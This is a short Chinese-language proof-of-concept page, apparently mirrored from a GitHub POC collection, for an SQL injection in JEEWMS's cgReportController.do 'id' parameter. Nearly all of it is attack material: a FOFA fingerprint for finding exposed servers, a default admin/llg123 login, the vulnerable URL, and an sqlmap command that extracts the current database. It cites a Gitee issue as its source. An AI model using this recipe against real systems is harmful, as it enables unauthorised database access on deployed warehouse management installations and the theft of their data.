mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
32 lines
830 B
Markdown
32 lines
830 B
Markdown
|
# JEEWMS系统cgReportController.do存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
JEEWMS系统cgReportController.do存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```javascript
|
|||
|
|
body="plug-in/lhgDialog/lhgdialog.min.js?skin=metro"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
1. 构建 POC，登录后端捕获数据包，并替换 cookie
|
|||
|
|
|
|||
|
|
```javascript
|
|||
|
|
admin/llg123
|
|||
|
|
http://localhost:8083/jeewms/cgReportController.do?list&id=1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
1. 使用 SQLMAP 重现和构造执行语句
|
|||
|
|
|
|||
|
|
```javascript
|
|||
|
|
python sqlmap.py -u "http://localhost:8083/jeewms/cgReportController.do?list&id=1" --cookie="XXXXX" -p id --current-db
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞来源
|
|||
|
|
|
|||
|
|
- [JEEWMS-cgReportController.do？List&ID 存在 SQL 注入漏洞 ·问题 #IBFTVK ·JeeWMS/JeeWMS - Gitee.com](https://gitee.com/erzhongxmu/JEEWMS/issues/IBFTVK)
|